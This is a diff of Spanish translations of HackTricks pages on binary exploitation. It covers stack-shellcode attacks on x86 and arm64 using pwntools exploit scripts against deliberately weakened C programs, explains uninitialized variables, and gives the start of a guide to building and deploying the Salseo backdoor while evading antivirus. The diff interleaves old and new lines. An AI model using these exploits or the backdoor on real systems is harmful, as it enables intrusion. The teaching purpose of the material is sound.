* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Shellcode de Pila # Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
**Shellcode de pila** es una técnica utilizada en **explotación binaria** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Puntero de Instrucción (IP)** o el **Puntero de Instrucción Extendido (EIP)** para que apunte a la ubicación de este shellcode, provocando su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí tienes un desglose del proceso, incluido un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. **Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de este shellcode, causando que se ejecute. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
### Ejemplo en C: Un Programa Vulnerable ### Ejemplo en C: Un Programa Vulnerable
Comencemos con un ejemplo simple de un programa vulnerable en C: Comencemos con un ejemplo simple de un programa C vulnerable:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -44,14 +45,14 @@ Para compilar este programa deshabilitando varias protecciones (para simular un
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-fno-stack-protector`: Deshabilita la protección de la pila. * `-fno-stack-protector`: Desactiva la protección de pila.
* `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar el shellcode almacenado en la pila. * `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
* `-no-pie`: Deshabilita la Ejecución de Código Independiente de la Posición, facilitando predecir la dirección de memoria donde estará ubicado nuestro shellcode. * `-no-pie`: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode.
* `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits. * `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.
### Exploit en Python usando Pwntools ### Python Exploit usando Pwntools
Así es como podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**: Aquí te mostramos cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
```python ```python
from pwn import * from pwn import *
@ -78,24 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Este script construye un payload que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute. Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "se deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu búfer más un desplazamiento para aterrizar en el NOP slide. El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.
## Protecciones ## Protecciones
* **ASLR** **debe estar deshabilitado** para que la dirección sea confiable en todas las ejecuciones, de lo contrario, la dirección donde se almacenará la función no será siempre la misma y necesitarías alguna fuga para averiguar dónde se carga la función win. * [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
* Los **Canarios de la Pila** también deben estar deshabilitados o la dirección de retorno comprometida del EIP no será seguida nunca. * [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
* La protección de **NX** en la **pila** evitaría la ejecución del shellcode dentro de la pila porque esa región no sería ejecutable. * La protección de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
## Otros Ejemplos y Referencias ## Otros Ejemplos y Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64 bits, ASLR con fuga de dirección de pila, escribe shellcode y salta a él * 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bits, ASLR con fuga de dirección de pila, escribe shellcode y salta a él * 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bits, ASLR con fuga de dirección de pila, comparación para evitar la llamada a exit(), sobrescribe variable con un valor y escribe shellcode y salta a él * 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila * arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Shellcode de pila - arm64 # Stack Shellcode - arm64
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
Encuentra una introducción a arm64 en: Encuentra una introducción a arm64 en:
@ -35,19 +36,23 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Compilar sin pie, canary y nx: Compilar sin pie, canario y nx:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## Sin ASLR y sin canary - Desbordamiento de pila {% endcode %}
Para desactivar ASLR ejecuta: ## Sin ASLR & Sin canario - Desbordamiento de pila&#x20;
Para detener ASLR, ejecuta:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
Para obtener el **desplazamiento de la desbordamiento de búfer, revisa este enlace**. Para obtener el [**offset del bof revisa este enlace**](../ret2win/ret2win-arm64.md#finding-the-offset).
Explotar:
```python ```python
from pwn import * from pwn import *
@ -78,6 +83,21 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
Lo único "complicado" de encontrar aquí sería la dirección en la pila para llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego al explotarlo no funcionó (porque la dirección de la pila cambió un poco). La única cosa "complicada" de encontrar aquí sería la dirección en la pila para llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
Abrí el **archivo `core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode. Abrí el archivo **`core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Variables no inicializadas # Variables No Inicializadas
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
La idea principal aquí es entender qué sucede con las **variables no inicializadas, ya que tendrán el valor que ya estaba asignado en la memoria asignada a ellas.** Ejemplo: La idea principal aquí es entender qué sucede con **las variables no inicializadas, ya que tendrán el valor que ya estaba en la memoria asignada a ellas.** Ejemplo:
* **Función 1: `initializeVariable`**: Declaramos una variable `x` y le asignamos un valor, digamos `0x1234`. Esta acción es similar a reservar un espacio en la memoria y poner un valor específico en él. * **Función 1: `initializeVariable`**: Declaramos una variable `x` y le asignamos un valor, digamos `0x1234`. Esta acción es similar a reservar un espacio en la memoria y poner un valor específico en él.
* **Función 2: `useUninitializedVariable`**: Aquí, declaramos otra variable `y` pero no le asignamos ningún valor. En C, las variables no inicializadas no se establecen automáticamente en cero. En su lugar, conservan el valor que estaba almacenado en su ubicación de memoria. * **Función 2: `useUninitializedVariable`**: Aquí, declaramos otra variable `y` pero no le asignamos ningún valor. En C, las variables no inicializadas no se establecen automáticamente en cero. En cambio, retienen el último valor que se almacenó en su ubicación de memoria.
Cuando ejecutamos estas dos funciones **secuencialmente**: Cuando ejecutamos estas dos funciones **secuencialmente**:
1. En `initializeVariable`, `x` se le asigna un valor (`0x1234`), que ocupa una dirección de memoria específica. 1. En `initializeVariable`, `x` se le asigna un valor (`0x1234`), que ocupa una dirección de memoria específica.
2. En `useUninitializedVariable`, se declara `y` pero no se le asigna un valor, por lo que toma el lugar de memoria justo después de `x`. Debido a no inicializar `y`, termina "heredando" el valor de la misma ubicación de memoria utilizada por `x`, porque ese fue el último valor que estaba allí. 2. En `useUninitializedVariable`, `y` se declara pero no se le asigna un valor, por lo que toma el espacio de memoria justo después de `x`. Debido a que no se inicializa `y`, termina "heredando" el valor de la misma ubicación de memoria utilizada por `x`, porque ese es el último valor que estuvo allí.
Este comportamiento ilustra un concepto clave en la programación de bajo nivel: **La gestión de memoria es crucial**, y las variables no inicializadas pueden llevar a un comportamiento impredecible o vulnerabilidades de seguridad, ya que pueden contener involuntariamente datos sensibles dejados en la memoria. Este comportamiento ilustra un concepto clave en la programación de bajo nivel: **La gestión de memoria es crucial**, y las variables no inicializadas pueden llevar a un comportamiento impredecible o vulnerabilidades de seguridad, ya que pueden contener involuntariamente datos sensibles que quedan en la memoria.
Las variables de la pila no inicializadas podrían plantear varios riesgos de seguridad como: Las variables de pila no inicializadas podrían presentar varios riesgos de seguridad como:
* **Fuga de datos**: Información sensible como contraseñas, claves de cifrado o detalles personales pueden ser expuestos si se almacenan en variables no inicializadas, lo que permite a los atacantes potencialmente leer estos datos. * **Filtración de Datos**: Información sensible como contraseñas, claves de cifrado o detalles personales pueden ser expuestos si se almacenan en variables no inicializadas, permitiendo a los atacantes potencialmente leer estos datos.
* **Divulgación de información**: El contenido de variables no inicializadas podría revelar detalles sobre el diseño de memoria del programa u operaciones internas, ayudando a los atacantes a desarrollar exploits dirigidos. * **Divulgación de Información**: El contenido de las variables no inicializadas podría revelar detalles sobre la disposición de la memoria del programa o las operaciones internas, ayudando a los atacantes a desarrollar exploits dirigidos.
* **Fallos e Inestabilidad**: Las operaciones que involucran variables no inicializadas pueden resultar en un comportamiento indefinido, lo que lleva a bloqueos del programa o resultados impredecibles. * **Caídas e Inestabilidad**: Las operaciones que involucran variables no inicializadas pueden resultar en un comportamiento indefinido, llevando a caídas del programa o resultados impredecibles.
* **Ejecución de Código Arbitrario**: En ciertos escenarios, los atacantes podrían explotar estas vulnerabilidades para alterar el flujo de ejecución del programa, lo que les permite ejecutar código arbitrario, que podría incluir amenazas de ejecución de código remoto. * **Ejecución de Código Arbitrario**: En ciertos escenarios, los atacantes podrían explotar estas vulnerabilidades para alterar el flujo de ejecución del programa, permitiéndoles ejecutar código arbitrario, lo que podría incluir amenazas de ejecución remota de código.
### Ejemplo ### Ejemplo
```c ```c
@ -65,12 +66,27 @@ demonstrateUninitializedVar();
return 0; return 0;
} }
``` ```
#### Cómo Funciona: #### Cómo Funciona Esto:
* **Función `initializeAndPrint`**: Esta función declara una variable entera `initializedVar`, le asigna el valor `100` y luego imprime tanto la dirección de memoria como el valor de la variable. Este paso es directo y muestra cómo se comporta una variable inicializada. * **Función `initializeAndPrint`**: Esta función declara una variable entera `initializedVar`, le asigna el valor `100` y luego imprime tanto la dirección de memoria como el valor de la variable. Este paso es sencillo y muestra cómo se comporta una variable inicializada.
* **Función `demonstrateUninitializedVar`**: En esta función, declaramos una variable entera `uninitializedVar` sin inicializarla. Cuando intentamos imprimir su valor, la salida puede mostrar un número aleatorio. Este número representa cualquier dato que estuviera previamente en esa ubicación de memoria. Dependiendo del entorno y del compilador, la salida real puede variar y, a veces, por seguridad, algunos compiladores podrían inicializar automáticamente las variables a cero, aunque no se debe confiar en esto. * **Función `demonstrateUninitializedVar`**: En esta función, declaramos una variable entera `uninitializedVar` sin inicializarla. Cuando intentamos imprimir su valor, la salida puede mostrar un número aleatorio. Este número representa cualquier dato que estaba previamente en esa ubicación de memoria. Dependiendo del entorno y del compilador, la salida real puede variar, y a veces, por seguridad, algunos compiladores pueden inicializar automáticamente las variables a cero, aunque esto no debe ser confiable.
* **Función `main`**: La función `main` llama a ambas funciones anteriores en secuencia, demostrando la diferencia entre una variable inicializada y una no inicializada. * **Función `main`**: La función `main` llama a ambas funciones anteriores en secuencia, demostrando el contraste entre una variable inicializada y una no inicializada.
## Ejemplo ARM64 ## Ejemplo ARM64
Esto no cambia en absoluto en ARM64, ya que las variables locales también se gestionan en la pila, puedes [**ver este ejemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) donde se muestra esto. Esto no cambia en absoluto en ARM64 ya que las variables locales también se gestionan en la pila, puedes [**ver este ejemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) donde se muestra esto.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Salseo # Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Compilando los binarios ## Compiling the binaries
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código. Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (si Windows soporta x64, compílalos para esa arquitectura). Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (Si Windows soporta x64, compílalos para esa arquitectura).
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".** Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build" izquierda** en **"Platform Target".**
(\*\*Si no encuentras estas opciones, presiona en **"Project Tab"** y luego en **"\<Nombre del Proyecto> Propiedades"**) (\*\*Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (839).png>) ![](<../.gitbook/assets/image (839).png>)
Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable): Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../.gitbook/assets/image (381).png>) ![](<../.gitbook/assets/image (381).png>)
## Preparar la Puerta Trasera ## Prepare the Backdoor
Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**: Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
@ -48,25 +49,25 @@ Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: e
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...** **Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
## **Ejecutar la puerta trasera** ## **Ejecutar el backdoor**
### **Obteniendo un shell inverso TCP (descargando el dll codificado a través de HTTP)** ### **Obteniendo un shell reverso TCP (descargando dll codificada a través de HTTP)**
